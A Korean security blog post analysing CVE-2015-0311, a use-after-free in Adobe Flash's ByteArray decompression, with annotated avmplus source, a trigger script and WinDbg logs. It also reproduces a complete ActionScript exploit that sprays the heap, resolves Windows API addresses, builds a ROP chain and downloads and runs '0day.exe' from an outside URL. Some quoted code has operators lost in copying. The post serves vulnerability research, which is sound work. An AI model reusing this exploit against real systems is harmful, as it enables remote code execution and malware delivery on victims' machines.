Tag Archives: Flash

CVE-2015-0311 상세 분석

CVE-2015-0311 취약점에 대한 분석문서는 아래 세 개의 링크를 읽어보면 취약점에 대한 상세한 정보를 얻을 수 있으므로 시간이 허락한다면 아래 문서를 꼭 읽어보길 바란다.

  • Flash, CVE-2015-0311 분석
  • Exploiting CVE-2015-0311: A Use-After-Free in Adobe Flash Player
  • Analyzing CVE-2015-0311: Flash Zero Day Vulnerability
  • 이 글은 위의 문서들이 다루고 있는 내용에서 크게 벗어나지 않음을 미리 밝혀둔다.

    Vulnerability flow

    ActionScript의 zlib로 압축된 ByteArray를 압축 해제 할 때 압축을 해제하기 위해 버퍼를 확장하고 확장된 버퍼에 압축 풀린 데이터를 넣는 과정(루프문)을 거치게 된다.
    압축된 데이터를 해제하는 과정에서 데이터 파싱 문제가 발생하면 확장한 버퍼를 제거하는 작업을 수행한다.
    이때 확장된 버퍼를 참조하고 있는 참조자(subscriber)에게 확장된 버퍼가 해제됐음을 알려주지 않아
    참조자(subscriber)는 여전히 확장된 버퍼(이미 해제된 메모리) 주소를 참조함으로써 use-after-free 취약점이 발생한다.

    * subscriber를 참조자라는 단어로 사용했는데 적절한 선택인지는 모르겠다.

    avmplus의 ByteArray::Uncompress 함수 소스코드부터 살펴보자.

    // https://github.com/adobe-flash/avmplus/blob/master/core/ByteArrayGlue.cpp
     
        void ByteArray::Uncompress(CompressionAlgorithm algorithm)
     
        {
            switch (algorithm) {
            case k_lzma:
                UncompressViaLzma();
                break;
            case k_zlib:
            default:
                UncompressViaZlibVariant(algorithm);
                break;
            }
    #if defined(VMCFG_TELEMETRY_SAMPLER) && defined(DEBUGGER)
            if (m_gc>GetAttachedSampler())
            {
                ((IMemorySampler *)m_gc>GetAttachedSampler())>recordObjectReallocation(this);
            }
    #endif
        }
    cs

    압축되어 있는 ByteArray 내용의 압축해제는 ByteArray::Uncompress 함수에서 이뤄지며 압축 유형에 따라
    ByteArray::UncompressViaLzma 또는 ByteArray::UncompressViaZlibVariant 함수를 호출한다.
    우리가 살펴봐야 할 문제가 발생하는 지점은 압축 유형이 zlib일 때 호출하는 ByteArray::UncompressViaZlibVariant 함수이다.

    ByteArray::UncompressViaZlibVariant 함수를 살펴보자.

    // https://github.com/adobe-flash/avmplus/blob/master/core/ByteArrayGlue.cpp/
    // ByteArray::UncompressViaZlibViariant
     
        void ByteArray::UncompressViaZlibVariant(CompressionAlgorithm algorithm)
        {
            // Snarf the data and give ourself some empty data
            // (remember, existing data might be copy-on-write so don’t dance on it)
            uint8_t* origData                       = m_buffer>array;
            uint32_t origCap                        = m_buffer>capacity;
            uint32_t origLen                        = m_buffer>length;
            uint32_t origPos                        = m_position;
            MMgc::GCObject* origCopyOnWriteOwner    = m_copyOnWriteOwner;
            if (!origLen) // empty buffer should give empty result
                return;
     
           […]
            int error = Z_OK;
            
           […]
            // we know that the uncompressed data will be at least as
            // large as the compressed data, so let’s start there,
            // rather than at zero.
            EnsureCapacity(origCap);
           
            const uint32_t kScratchSize = 8192;
            scratch = mmfx_new_array(uint8_t, kScratchSize);
     
     
            z_stream stream;
     
            VMPI_memset(&stream, 0sizeof(stream));
            error = inflateInit2(&stream, algorithm == k_zlib ? 15 : 15);
            AvmAssert(error == Z_OK);
     
            stream.next_in = dataSnapshot;
            stream.avail_in = origLen;
            while (error == Z_OK)
            {
                stream.next_out = scratch;
                stream.avail_out = kScratchSize;
                error = inflate(&stream, Z_NO_FLUSH);
                Write(scratch, kScratchSize  stream.avail_out);
            }
     
            inflateEnd(&stream)
            […]
    cs

    함수 시작 부분에 origData, origLen 등의 변수를 통해 기존 데이터를 저장하는 행위를 볼 수 있다.
    이제부터 m_buffer->array, m_buffer->length 등의 변수를 갱신함으로써 확장된 버퍼의 주소와 길이를 가리키게 된다.

    while 반복문 안에서 inflate 함수가 실행되고 error 변수에 압축 해제 상태를 저장한다.
    그 다음 줄에 ByteArray::Write 함수가 실행되면서버퍼를 확장하고 확장된 버퍼에 압축 해제된 데이터를 기록한다.
    버퍼가 확장되는 부분은 이번 취약점을 이해하는데 있어서 중요한 부분이므로 ByteArray::Write 소스코드를 따라가보자.

    // https://github.com/adobe-flash/avmplus/blob/master/core/ByteArrayGlue.cpp
    // ByteArray::Write
     
        void ByteArray::Write(const void* buffer, uint32_t count)
        {
            // Though m_length is limited to 2^32-8K by EnsureWritableCapacity() above, m_position is 
            // not similarly limited – it can be set beyond length and can be as large as 2^32-1.
            // No callers to Write() check that m_position + count does not overflow, so we
            // check that here.  There’s a question of whether MemoryError or RangeError is the “best”
            // error to throw; ReadByteArray throws RangeError in the similar circumstance but as
            // EnsureWritableCapacity() always throws MemoryError, we choose that here.
            if (count > UINT32_T_MAX  m_position) // Do not rearrange, guards against 64-bit overflow
                ThrowMemoryError();
     
            uint32_t writeEnd = m_position + count;
            
            Grower grower(this, writeEnd);
            grower.EnsureWritableCapacity();
            
            move_or_copy(m_buffer>array + m_position, buffer, count);
            m_position += count;
            if (m_buffer>length < m_position)
                m_buffer>length = m_position;
        }
    cs

    Grower.EnsureWriteableCapacity 함수를 사용해서 지금 사용하고 있는 버퍼를 확장한다.
    에러가 발생하지 않으면 move_or_copy 함수가 실행되면서 현재의 버퍼 끝(m_buffer->array + m_position)에 데이터를 써넣는다.

    버퍼가 확장되는 부분에 대해서 더 정확하게 확인하고 싶다면 ByteArray::Grower::EnsureWriteableCapacity 함수와
    ByteArray::Grower::ReallocBackingStore 함수를 살펴보길 바란다.
    (https://github.com/adobe-flash/avmplus/blob/master/core/ByteArrayGlue.cpp 328 라인에 가면 있다!)

    다시 Write 함수로 돌아가서-
    Write 함수안에서 Grower 객체를 생성한 것을 볼 수 있는데 Write 함수가 종료되면 Grower 객체가 소면되면서 ByteArray::Grower::~Grower() 소멸자가 호출된다.
    이때 확장된 버퍼에 대한 정보를 갱신하는 작업이 이뤄진다. 당연히 소스를 또 따라가야 한다.

    // https://github.com/adobe-flash/avmplus/blob/master/core/ByteArrayGlue.cpp
    // ByteArray::Grower::~Grower
        ByteArray::Grower::~Grower()
        {
            if (m_oldArray != m_owner>m_buffer>array || m_oldLength != m_owner>m_buffer>length)
            {
                m_owner>NotifySubscribers();
            }
            // m_oldArray could be NULL if we grew a copy-on-write ByteArray.
            if (m_oldArray != NULL && m_oldArray != m_owner>m_buffer>array)
            {
                // Note that TellGcXXX always expects capacity, not (logical) length.
                m_owner>TellGcDeleteBufferMemory(m_oldArray, m_oldCapacity);
                mmfx_delete_array(m_oldArray);
            }
        }
    cs

    m_oldArray와 m_oldLength 정보를 확인해서 변경된 부분이 있다면 갱신된 버퍼 정보를 참조자들에게(subscriber)에게 알려주기 위해
    ByteArray::NotifySubscribers 함수를 호출한다.
    새로운 버퍼로 확장되면 기존의 버퍼는 TellGcDeleteBufferMemory, mmfx_delete_array 함수를 통해 제거한다.
    살펴봐야하는 부분은 ByteArray::NotifySubscribers 함수다.
    또 들어간다. 정신 바짝 차리고 있는가?

    // https://github.com/adobe-flash/avmplus/blob/master/core/ByteArrayGlue.cpp
    // ByteArray::NotifySubscribers
     
        void ByteArray::NotifySubscribers()
        {
            for (uint32_t i = 0, n = m_subscribers.length(); i < n; ++i)
            {
                AvmAssert(m_buffer>length >= DomainEnv::GLOBAL_MEMORY_MIN_SIZE);
     
                DomainEnv* subscriber = m_subscribers.get(i);
                if (subscriber)
                {
                    subscriber>notifyGlobalMemoryChanged(m_buffer>array, m_buffer>length);
                }
                else
                {
                    // Domain went away? remove link
                    m_subscribers.removeAt(i);
                    i;
                }
            }
        }
    cs

    ByteArray::NotifySubscribers 함수는 참조자(subscriber) 정보를 얻고 그들에게 갱신된 버퍼의 주소와 크기 정보를 알려준다. 이는 DomainEnv::notifyGlobalMemoryChanged 함수가 담당한다. 거의 다 온 거 같다. 역시 소스를 확인하자.

    // https://github.com/adobe-flash/avmplus/blob/master/core/DomainEnv.cpp
    // DomainEnv::notifyGlobalMemoryChanged
     
        void DomainEnv::notifyGlobalMemoryChanged(uint8_t* newBase, uint32_t newSize)
        {
            AvmAssert(newBase != NULL); // real base address
            AvmAssert(newSize >= GLOBAL_MEMORY_MIN_SIZE); // big enough
     
            m_globalMemoryBase = newBase;
     
            // We require that MOps addresses be non-negative int32 values.
            // Furthermore, the bounds checks may fail to detect an out-of-bounds
            // access if the global memory size is not itself a non-negative int32.
            // See bug 723401.  Since the size of a byte array may expand as
            // side-effect of other operations according to a policy not under direct
            // control of the user, it is not appropriate to signal an error here.
            // We simply silently ignore any excess allocation.
            // TODO: While we cannot do much about automatic resizing, an attempt
            // to explicitly set the size too large should throw an exception before
            // arriving here.
     
            m_globalMemorySize = (newSize > 0x7fffffff) ? 0x7fffffff : newSize;
            TELEMETRY_UINT32(toplevel()>core()>getTelemetry(), “.mem.bytearray.alchemy”,m_globalMemorySize/1024);
        }
    cs

    새로운 버퍼의 주소(m_globalMemorySize)와 사이즈(m_globalMemorySize)를 각각 매개변수 newBase, newSize 를 통해 갱신한다.

    위의 과정까지 거치면 Write 가 한 번 종료되는 시점이 된다. 와.. 길었다.
    설명에 소스코드를 붙여넣다보니 길어졌다. 간략하게 정리하면 아래와 같은 흐름으로 진행된다.

            while (error == Z_OK)
            {
                stream.next_out = scratch;
                stream.avail_out = kScratchSize;
                error = inflate(&stream, Z_NO_FLUSH);
                Write(scratch, kScratchSize - stream.avail_out);
                   +--> Grower::EnsureWritableCapacity()       // 확장된 버퍼로 갱신
                   +--> Grower::~Grower()                      // Write 함수가 끝나면서 호출
                        +--> ByteArray::NotifySubscribers()
                             +--> DomainEnv::notifyGlobalMemoryChanged // 알림 to subscribers == 버퍼 정보 갱신
            }
    

    위 과정은 압축된 버퍼를 해제하는 과정에서 에러가 발생하지 않았을때(error == Z_OK)의 흐름이다.
    취약점이 발견되는 부분은 압축 해제하는 과정에서 에러가 발생했을때다.
    뭐라??
    그럼, 문제가 있다는 그 녀석을 확인하기 위해 압축 해제 중 에러가 발생하는 부분의 소스코드를 확인하자.

    // https://github.com/adobe-flash/avmplus/blob/master/core/ByteArrayGlue.cpp
    // ByteArray::UncompressViaZlibVariant
     
            […]
            error = inflateInit2(&stream, algorithm == k_zlib ? 15 : 15);
            […]     
            
            while (error == Z_OK)
            {
                stream.next_out = scratch;
                stream.avail_out = kScratchSize;
                error = inflate(&stream, Z_NO_FLUSH);
                Write(scratch, kScratchSize  stream.avail_out);
            }
            […]
            if (error == Z_STREAM_END)
            {
                if (cShared) {
                    ByteArraySwapBufferTask task(this, origBuffer);
                    task.exec();
                }
                // everything is cool
                if (origData && origData != m_buffer>array && origCopyOnWriteOwner == NULL)
                {
                    // Note that TellGcXXX always expects capacity, not (logical) length.
                    TellGcDeleteBufferMemory(origData, origCap);
                    mmfx_delete_array(origData);
                }
     
                // Note that Compress() has always ended with position == length,
                // but Uncompress() has always ended with position == 0.
                // Weird, but we must maintain it.
                m_position = 0;
            }
            else
            {
                // When we error:
     
                // 1) free the new buffer
                TellGcDeleteBufferMemory(m_buffer>array, m_buffer>capacity);
                mmfx_delete_array(m_buffer>array);
     
                if (cShared) {
                    m_buffer = origBuffer;
                }
     
                // 2) put the original data back.
                m_buffer>array    = origData;
                m_buffer>length   = origLen;
                m_buffer>capacity = origCap;
                m_position         = origPos;
                SetCopyOnWriteOwner(origCopyOnWriteOwner);
                origBuffer = NULL; // release ref before throwing
                toplevel()>throwIOError(kCompressedDataError);
            }
            […]
    cs

    error 변수의 값이 Z_OK, Z_STREAM_END 등 정의된 값이 아니면 else {} 구문이 실행된다.

    TellGcDeleteBufferMemory, mmfx_delete_array 함수로 버퍼를 삭제하고 원래의 데이터로 복구하는 코드를 볼 수 있다.
    하지만 코드 어디에서도 버퍼를 참조하는 참조자(subscribers)에게 정보를 갱신하는 코드를 볼 수 없다.
    이 부분이 CVE-2015-0311 취약점의 원인이다.
    취약점의 근본 원인은 사실 위의 소스코드에서 나타났지만 프로그램의 흐름을 이해하기 위해 많은 소스코드를 봐야했다. 🙂

    그럼 이제 ByteArray의 내용을 압축 해제 하는 과정을 생각해보자.
    압축 해제하는 과정을 잘 거치다가 중간에 문제가 발생한다면 어떻게 될까?

    애초에 error는 Z_OK를 가지고 ByteArray::Write 함수에 도달 할 것이다.
    이 과정에서 버퍼가 확장되고 새로운 버퍼의 정보를 참조자들(subscribers)에게 전달한다.

    압축을 해제하는 과정에서 에러가 발생하면 위의 소스코드에서 else 구문에 도달하고 사용하던 버퍼는 삭제하고 최초의 정보(original)로 재설정한다.
    이 정보를 참조자들에게도 알려줘야하는데 그 과정이 없으므로 참조자들은 확장된 버퍼의 포인터(dangling pointer)를 들고 있게 된다.

    우리는 확장된 버퍼의 사이즈만큼의 버퍼를 새로 할당함으로써 use-after-free 취약점을 유발할 수 있게 된다.


    Trigger use-after-free

    취약점에 대한 설명은 위에서 다 설명한 것 같다.
    트리거와 익스플로잇 코드는 hdarwin이 깔끔하게 정리해놓은 글을 꼭 읽어보길 바란다.

    출처 – FLASH, CVE-2015-0311 분석 by hdarwin

    package
    {
        import flash.external.ExternalInterface;
        import flash.display.Sprite
        import flash.system.ApplicationDomain
        import flash.utils.ByteArray
        import flash.media.Sound;
        import avm2.intrinsics.memory.casi32
        
     
     
        public class Main extends Sprite 
        {
            private var data:uint = 0xdeaddead;
            private var uv:Vector.<uint>;
            private var ba:ByteArray = new ByteArray();
            
            private var bp:Sound = new Sound();
            private var pobj:Vector.<Object> = new Vector.<Object>(1014);
            
            public function Main() 
            {
                for (var i:uint = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
                ba.compress();
                ApplicationDomain.currentDomain.domainMemory = ba;
                
                pobj[0= ba;
                pobj[1= ApplicationDomain.currentDomain;
                bp.toString(); // 1 – debug
                
                ba.position = 0x200;
                for (i = 0; i < ba.length  ba.position; i++) ba.writeByte(00)          
                try {
                    ba.uncompress();
                } catch (e:Error) {}
     
                bp.toString(); // 2 – debug
     
     
                uv = new Vector.<uint>(0x3E0);
                bp.toString(); // 3 – debug
                
                casi32(00x3e00xffffffff);                           
                bp.toString(); // 4 – debug                      
            }      
        }
    }
    cs

    Sound.toString()을 후킹해서 중간에 내가 원하는 시점에 windbg에 진입할 수 있도록 했다. (using Fkiller)

    C:\cve-2015-0311>python fkiller.py
    Launched C:\Program Files\Internet Explorer\iexplore.exe http://127.0.0.1/index.html with pid 2976
    
    Flash module flash32_16_0_0_287 will be loaded at 0x56F40000
    Flash info (name, base): (flash32_16_0_0_287, 0x56F40000)
    Hooking toString function which is at 0x5759F9B5(offset 6683061 from image base)
    
    toString() method invoked...
    
    ===========================
               Menu
    ===========================
    1. Go to Next toString
    7. Forward Control To Postmortem Debugger
    8. Get Address Of Defined Objects
    9. Quit
    000> 8
    
    Getting object address. Searching patterns..
    Target_object : 0x121C5024
    Target_object[0] address : 0x114EFC90        // pobj[0] == ba
    Target_object[1] address : 0x12124C60        // pobj[1] == Application.currentDomain
    
    EIP: 5759f9b5 CALL EDX
    Byte Fixed from ( ff d2 5e c2 04 ) to ( a3 00 00 00 00 )
    windbg cmd: eb 5759F9B5 0xff 0xd2 0x5e 0xc2 0x04
    Detached
    Press Enter To Quit
    
    
    ===> to windbg 
    
    
    @$t0 = count
    @$t1 = ba
    @$t2 = ApplicationDomain.currentDoamin
    
    r @$t0 = 0
    r @$t1 = 0x114EFC90
    r @$t2 = 0x12124C60
    r @$t3 = 5759f9b5
    
    .printf "########## STEP%d ##########\n", @$t0;r@$t0=@$t0+1;.echo ba;dd @$t1 l8;.echo ba::Buffer->array; dd poi(poi(@$t1+40)+8) l8; .echo ApplicationDomain.currentDomain; dd @$t2 l8; .echo ApplicationDomain.currentDomain Environment; dd poi(@$t2+10) l8
    
    bp @$t3 ".printf \"########## STEP%d ##########\n\", @$t0;r@$t0=@$t0+1;.echo ba;dd @$t1 l8;.echo ba::Buffer->array; dd poi(poi(@$t1+40)+8) l8; .echo ApplicationDomain.currentDomain; dd @$t2 l8; .echo ApplicationDomain.currentDomain Environment; dd poi(@$t2+10) l8 "
    
    
    =====> 디버깅
    
    
    0:013> r @$t0 = 1
    0:013> r @$t1 = 0x114EFC90
    0:013> r @$t2 = 0x12124C60
    0:013> r @$t3 = 5759f9b5
    0:013> .printf "########## STEP%d ##########\n", @$t0;r@$t0=@$t0+1;.echo ba;dd @$t1 l8;.echo ba::Buffer->array; dd poi(poi(@$t1+40)+8) l8; .echo ApplicationDomain.currentDomain; dd @$t2 l8; .echo ApplicationDomain.currentDomain Environment; dd poi(@$t2+10) l8
    ########## STEP1 ##########
    ba
    114efc90  57bc8f10 00000004 12141ee8 121ae040
    114efca0  114efca8 00000040 57bc8eb8 57bc8ec0
    ba::Buffer->array
    121c9000  d315da78 88001283 d8c10511 b6db6db6
    121c9010  6db6db6d b6db62e3 efb7db6d 9d9b6c6d
    ApplicationDomain.currentDomain
    12124c60  57af63e8 00000002 12129f98 121ae400
    12124c70  1217e040 11615080 114762b8 114751e8
    ApplicationDomain.currentDomain Environment
    1217e040  57bd93c4 11455fd0 114c9eb0 11615080
    1217e050  1217f020 121c9000 000006c2 114efc90
    
    
         121c9000 = m_globalMemoryBase =  ba::Buffer->array     
         000006c2 = m_globalMemorySize  =  ba::Buffer->length 
         114efc90  = m_globalMemoryProviderObject = ba
    
         *참고*  
         ba의 데이터(raw data)가 있는 곳은 ba::Buffer->array 라고 표현하는 것이 맞다.  
         ByteArrayGlue.cpp 파일에서 사용하는 표현이다. 
    
    
    
    0:013> bp @$t3 ".printf \"########## STEP%d ##########\n\", @$t0;r@$t0=@$t0+1;.echo ba;dd @$t1 l8;.echo ba::Buffer->array; dd poi(poi(@$t1+40)+8) l8; .echo ApplicationDomain.currentDomain; dd @$t2 l8; .echo ApplicationDomain.currentDomain Environment; dd poi(@$t2+10) l8 "
    
    
    0:013> g
    ########## STEP2 ##########
    ba
    114efc90  57bc8f10 00000004 12141ee8 121ae040
    114efca0  114efca8 00000040 57bc8eb8 57bc8ec0
    ba::Buffer->array
    121c9000  d315da78 88001283 d8c10511 b6db6db6
    121c9010  6db6db6d b6db62e3 efb7db6d 9d9b6c6d
    ApplicationDomain.currentDomain
    12124c60  57af63e8 00000002 12129f98 121ae400
    12124c70  1217e040 11615080 114762b8 114751e8
    ApplicationDomain.currentDomain Environment
    1217e040  57bd93c4 11455fd0 114c9eb0 11615080
    1217e050  1217f020 121c6000 00000f8a 114efc90
    eax=57b4ca38 ebx=121fc021 ecx=121fc020 edx=5759b760 esi=1154d020 edi=1155b064
    eip=5759f9b5 esp=0a6e9f30 ebp=0a6e9f78 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
    Flash32_16_0_0_287!IAEModule_IAEKernel_UnloadModule+0xdfee5:
    5759f9b5 ffd2            call    edx {Flash32_16_0_0_287!IAEModule_IAEKernel_UnloadModule+0xdbc90 (5759b760)}
    0:013> g
    
    
    ########## STEP3 ##########
    ba
    114efc90  57bc8f10 00000004 12141ee8 121ae040
    114efca0  114efca8 00000040 57bc8eb8 57bc8ec0
    ba::Buffer->array
    121c9000  d315da78 88001283 d8c10511 b6db6db6
    121c9010  6db6db6d b6db62e3 efb7db6d 9d9b6c6d
    ApplicationDomain.currentDomain
    12124c60  57af63e8 00000002 12129f98 121ae400
    12124c70  1217e040 11615080 114762b8 114751e8
    ApplicationDomain.currentDomain Environment 
    1217e040  57bd93c4 11455fd0 114c9eb0 11615080
    1217e050  1217f020 121c6000 00000f8a 114efc90
    eax=57b4ca38 ebx=121fc021 ecx=121fc020 edx=5759b760 esi=1154d020 edi=1155b064
    eip=5759f9b5 esp=0a6e9f70 ebp=0a6e9fb8 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
    Flash32_16_0_0_287!IAEModule_IAEKernel_UnloadModule+0xdfee5:
    5759f9b5 ffd2            call    edx {Flash32_16_0_0_287!IAEModule_IAEKernel_UnloadModule+0xdbc90 (5759b760)}
    0:013> dd 121c6000
    121c6000  000003e0 11443000 00000000 00000000          <-- uv.length
    121c6010  00000000 00000000 00000000 00000000
    121c6020  00000000 00000000 00000000 00000000
    121c6030  00000000 00000000 00000000 00000000
    121c6040  00000000 00000000 00000000 00000000
    121c6050  00000000 00000000 00000000 00000000
    121c6060  00000000 00000000 00000000 00000000
    121c6070  00000000 00000000 00000000 00000000
    0:013> g
    
    
    
    ########## STEP4 ##########
    ba
    114efc90  57bc8f10 00000004 12141ee8 121ae040
    114efca0  114efca8 00000040 57bc8eb8 57bc8ec0
    ba::Buffer->array
    121c9000  d315da78 88001283 d8c10511 b6db6db6
    121c9010  6db6db6d b6db62e3 efb7db6d 9d9b6c6d
    ApplicationDomain.currentDomain
    12124c60  57af63e8 00000002 12129f98 121ae400
    12124c70  1217e040 11615080 114762b8 114751e8
    ApplicationDomain.currentDomain Environment 
    1217e040  57bd93c4 11455fd0 114c9eb0 11615080
    1217e050  1217f020 121c6000 00000f8a 114efc90
    eax=57b4ca38 ebx=121fc021 ecx=121fc020 edx=5759b760 esi=1154d020 edi=1155b064
    eip=5759f9b5 esp=0a6e9f70 ebp=0a6e9fb8 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
    Flash32_16_0_0_287!IAEModule_IAEKernel_UnloadModule+0xdfee5:
    5759f9b5 ffd2            call    edx {Flash32_16_0_0_287!IAEModule_IAEKernel_UnloadModule+0xdbc90 (5759b760)}
    0:013> dd 121c6000
    121c6000  ffffffff 11443000 00000000 00000000               <-- uv.length
    121c6010  00000000 00000000 00000000 00000000
    121c6020  00000000 00000000 00000000 00000000
    121c6030  00000000 00000000 00000000 00000000
    121c6040  00000000 00000000 00000000 00000000
    121c6050  00000000 00000000 00000000 00000000
    121c6060  00000000 00000000 00000000 00000000
    121c6070  00000000 00000000 00000000 00000000
    
    
    uv.length 가 0xFFFFFFFF 으로 변경됐다.
    


    Exploitation

    uv.length를 통해 모든 메모리에 접근 및 읽기/쓰기 작업이 가능하므로 적당한 오브젝트로 힙 스프레이를 하고 vftable 을 변경하는 방법으로 프로그램 실행 흐름을 변경할 수 있다.
    여기서는 exploit technique 분석에 초점을 맞추지 않으므로 exploit 코드 역시 hacklab의 글을 보는 것을 추천한다.
    아래 항목에 대해서도 소스코드에서 같이 확인하면 좋을 것 같다.

    – 힙 스프레이 구성
    – flash 베이스 주소 확인 (0x1000 씩 메모리 주소 감소하면서 “MZ” 탐지)
    – 모듈에서 익스포트 함수 주소 확인

    출처 – FLASH, CVE-2015-0311 분석 by hdarwin

    package
    {
        import flash.display.Sprite
        import flash.system.ApplicationDomain
        import flash.utils.ByteArray
        import avm2.intrinsics.memory.casi32
     
        public class Main extends Sprite 
        {
            private var data:uint = 0xdeaddead
            private var uv:Vector.<Object> = new Vector.<Object>
            private var ba:ByteArray = new ByteArray()
            private var spray:Vector.<Object> = new Vector.<Object>(51200)
            
            public function Main() 
            {
                for (var i:uint = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
                ba.compress()
                ApplicationDomain.currentDomain.domainMemory = ba
                ba.position = 0x200
                for (i = 0; i < ba.length  ba.position; i++) ba.writeByte(00)
                try {
                    ba.uncompress()
                } catch (e:Error) { }
                uv[0= new Vector.<uint>(0x3E0)
                casi32(00x3e00xffffffff)
                
                for (i = 0; i < spray.length; i++) {
                    spray[i] = new Vector.<Object>(1014)
                    spray[i][0= ba
                    spray[i][1= this
                }
                
                uv[0][0= uv[0][0x2000003 0x18  0x2000000 * 4
                ba.endian = “littleEndian”
                ba.length = 0x500000
                var buffer:uint = vector_read(vector_read(uv[0][0x2000008 1 + 0x40+ 8+ 0x100000
                var main:uint = uv[0][0x2000009 1
                var vtable:uint = vector_read(main)
                vector_write(vector_read(uv[0][0x2000008 1 + 0x40+ 8)
                vector_write(vector_read(uv[0][0x2000008 1 + 0x40+ 160xffffffff)
                byte_write(uv[0][0])
                
                var flash:uint = base(vtable)
                var kernel32:uint = module(“kernel32.dll”, flash)
                var ntdll:uint = module(“ntdll.dll”, kernel32)
                var urlmon:uint = module(“urlmon.dll”, flash)
                var virtualprotect:uint = procedure(“VirtualProtect”, kernel32)
                var winexec:uint = procedure(“WinExec”, kernel32)
                var urldownloadtofile:uint = procedure(“URLDownloadToFileA”, urlmon);
                var getenvironmentvariable:uint = procedure(“GetEnvironmentVariableA”, kernel32)
                var setcurrentdirectory:uint = procedure(“SetCurrentDirectoryA”, kernel32)
                var xchgeaxespret:uint = gadget(“c394”0x0000ffff, flash)
                var xchgeaxesiret:uint = gadget(“c396”0x0000ffff, flash)
                
                byte_write(buffer + 0x30000“\xb8”false); byte_write(0, vtable, false// mov eax, vtable
                byte_write(0“\xbb”false); byte_write(0, main, false// mov ebx, main
                byte_write(0“\x89\x03”false// mov [ebx], eax
                byte_write(0“\x87\xf4\xc3”false// xchg esp, esi # ret
     
                byte_write(buffer + 0x100“http://hacklab.kr/download/0day.exe”)
                byte_write(buffer + 0x200“0day.exe”)
                byte_write(buffer + 0x300“TEMP”)
                byte_write(buffer + 0x20070, xchgeaxespret)
                byte_write(buffer + 0x20000, xchgeaxesiret)
                byte_write(0, virtualprotect)
     
                // VirtualProtect
                byte_write(0, getenvironmentvariable)
                byte_write(0, buffer + 0x30000)
                byte_write(00x1000)
                byte_write(00x40)
                byte_write(0, buffer + 0x400)
     
                // GetEnvironmentVariable
                byte_write(0, setcurrentdirectory)
                byte_write(0, buffer + 0x300)
                byte_write(0, buffer + 0x400)
                byte_write(0100)
     
                // SetCurrentDirectory
                byte_write(0, urldownloadtofile)
                byte_write(0, buffer + 0x400)
     
                // URLDownloadToFile
                byte_write(0, winexec)
                byte_write(0)
                byte_write(0, buffer + 0x100)
                byte_write(0, buffer + 0x200)
                byte_write(0)
                byte_write(0)
     
                // WinExec
                byte_write(0, buffer + 0x30000)
                byte_write(0, buffer + 0x200)
                byte_write(0)
     
                byte_write(main, buffer + 0x20000)
                toString()
            }
            
            private function vector_write(addr:uint, value:uint = 0):void
            {
                addr > uv[0][0] ? uv[0][(addr  uv[0][0]) / 4  2= value : uv[0][0xffffffff  (uv[0][0 addr) / 4  1= value
            }
     
            private function vector_read(addr:uint):uint
            {
                return addr > uv[0][0] ? uv[0][(addr  uv[0][0]) / 4  2] : uv[0][0xffffffff  (uv[0][0 addr) / 4  1]
            }
     
            private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
            {
                if (addr) ba.position = addr
                if (value is String) {
                    for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
                    if (zero) ba.writeByte(0)
                } else ba.writeUnsignedInt(value)
            }
     
            private function byte_read(addr:uint, type:String = “dword”):uint
            {
                ba.position = addr
                switch(type) {
                    case “dword”:
                        return ba.readUnsignedInt()
                    case “word”:
                        return ba.readUnsignedShort()
                    case “byte”:
                        return ba.readUnsignedByte()
                }
                return 0
            }
     
            private function base(addr:uint):uint
            {
                addr &= 0xffff0000
                while (true) {
                    if (byte_read(addr) == 0x00905a4dreturn addr
                    addr = 0x10000
                }
                return 0
            }
     
            private function module(name:String, addr:uint):uint
            {
                var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c+ 0x80), i:int = 1
                while (true) {
                    var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
                    if (!entry) throw new Error(“FAIL!”);
                    ba.position = addr + entry
                    if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
                }
                return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
            }
     
            private function procedure(name:String, addr:uint):uint
            {
                var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c+ 0x78)
                var numberOfNames:uint = byte_read(eat + 0x18)
                var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
                var addressOfNames:uint = addr + byte_read(eat + 0x20)
                var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
                for (var i:uint = 0; ; i++) {
                    var entry:uint = byte_read(addressOfNames + i * 4)
                    ba.position = addr + entry
                    if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
                }
                return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2“word”* 4)
            }
     
            private function gadget(gadget:String, hint:uint, addr:uint):uint
            {
                var find:uint = 0
                var limit:uint = byte_read(addr + byte_read(addr + 0x3c+ 0x50)
                var value:uint = parseInt(gadget, 16)
                for (var i:uint = 0; i < limit  4; i++if (value == (byte_read(addr + i) & hint)) break
                return addr + i
            }
        }
    }
    cs


    객체별 오브젝트(in avmplus source code)


    혹시나 소스코드를 살펴보면서 ActionScript의 객체가 소스코드에서는 어떤 오브젝트로 쓰이는지 궁금할지도 모르겠다. 만일 그렇다면 소스코드보면서 이리저리 움직이며 헤매지 않았으면 한다.

    ApplicationDomain 또는 Application.currentDomain의 환경 정보 ==> DomainEnv 오브젝트
    ApplicationDomain ==> DomainClass 오브젝트
    ApplicationDomain.currentDomain ==> DomainOjbect 오브젝트

        DomainObject* DomainClass::get_currentDomain()
        {
            return (DomainObject*) newInstance();
        }
    
        int DomainClass::get_MIN_DOMAIN_MEMORY_LENGTH()
        {
            return DomainEnv::GLOBAL_MEMORY_MIN_SIZE;
        }
    
        ByteArrayObject* DomainObject::get_domainMemory() const
        {
            return (ByteArrayObject*)domainEnv->get_globalMemory();
        }
    
        void DomainObject::set_domainMemory(ByteArrayObject* mem)
        {
            if(!domainEnv->set_globalMemory(mem))
                toplevel()->throwError(kEndOfFileError);
        }
         
    
    DomainClass, DomainObject 
         https://github.com/adobe-flash/avmplus/blob/master/shell/DomainClass.h
         https://github.com/adobe-flash/avmplus/blob/master/shell/DomainClass.cpp
    
    DomainEnv
